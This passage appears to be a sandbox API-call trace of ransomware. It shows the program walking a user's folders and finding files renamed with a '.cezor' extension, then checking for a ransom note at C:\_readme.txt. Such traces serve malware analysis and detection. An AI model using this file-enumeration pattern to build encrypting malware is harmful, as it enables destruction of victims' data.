ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15c23, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf.cezor", cAlternateFileName="GW8MJU~1.CEZ")) returned 1 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15c23, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf.cezor", cAlternateFileName="GW8MJU~1.CEZ")) returned 0 [0122.386] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.387] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\") returned="cJ1uF3yzdYr\\" [0122.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.387] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.387] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.387] PathFindFileNameW (pszPath="") returned="" [0122.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x148c7b10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148c7b10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.389] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x148c7b10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148c7b10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.389] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e23160, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x8dd82a10, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x89b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4_mbPPGlzHp_oUuJ-H3Z.bmp.cezor", cAlternateFileName="4_MBPP~1.CEZ")) returned 1 [0122.389] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ccb0e60, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x8b1e3a30, ftLastAccessTime.dwHighDateTime=0x1d4cdac, ftLastWriteTime.dwLowDateTime=0x1487b850, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x132b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6lkmIZ.jpg.cezor", cAlternateFileName="6LKMIZ~1.CEZ")) returned 1 [0122.389] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43aed7b0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xc155f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0x1487b850, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xc841, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bYco6U CoNywT.ots.cezor", cAlternateFileName="BYCO6U~1.CEZ")) returned 1 [0122.389] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.390] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0122.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.390] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.390] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.390] PathFindFileNameW (pszPath="") returned="" [0122.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x14960090, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.394] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.395] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0122.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.395] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.395] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.395] PathFindFileNameW (pszPath="") returned="" [0122.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xcb9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg.cezor", cAlternateFileName="WWURIW~1.CEZ")) returned 0xffffffff [0122.395] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.396] PathFindFileNameW (pszPath="") returned="" [0122.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xcb9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg.cezor", cAlternateFileName="WWURIW~1.CEZ")) returned 0xffffffff [0122.396] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.396] PathFindFileNameW (pszPath="") returned="" [0122.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x149861f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x149861f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.397] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.397] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0122.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.397] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.398] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.398] PathFindFileNameW (pszPath="") returned="" [0122.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x14fc5bb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14fc5bb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0122.398] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0122.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.398] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.398] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.398] PathFindFileNameW (pszPath="") returned="" [0122.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x14a90b90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14a90b90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.399] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.399] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.399] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0122.399] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.399] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.399] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.399] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.399] PathFindFileNameW (pszPath="") returned="" [0122.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.402] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.402] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0122.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.402] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.403] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.403] PathFindFileNameW (pszPath="") returned="" [0122.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14b4f270, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b4f270, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.403] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.403] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0122.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.403] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.403] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.403] PathFindFileNameW (pszPath="") returned="" [0122.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bc1690, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14bc1690, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.405] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.405] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.405] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0122.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.406] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.406] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.406] PathFindFileNameW (pszPath="") returned="" [0122.406] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14c59c10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14c59c10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.407] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.408] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.408] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0122.408] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.408] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.408] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.408] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.408] PathFindFileNameW (pszPath="") returned="" [0122.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.410] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.410] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.411] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\") returned="bAXbPKiwKvGBE_6IlyS\\" [0122.411] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0122.411] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.411] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.411] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.411] PathFindFileNameW (pszPath="") returned="" [0122.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x14dd69d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14dd69d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.414] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.414] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.414] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0122.414] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0122.414] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.414] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.414] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.415] PathFindFileNameW (pszPath="") returned="" [0122.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x14ee1370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ee1370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.417] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.417] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0122.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0122.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.418] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.418] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.418] PathFindFileNameW (pszPath="") returned="" [0122.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x14f53790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14f53790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.420] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.421] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.421] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.421] PathFindFileNameW (pszPath="") returned="" [0122.421] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.421] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.421] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.421] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.421] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0122.421] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0122.421] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2ffa828 [0122.422] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" 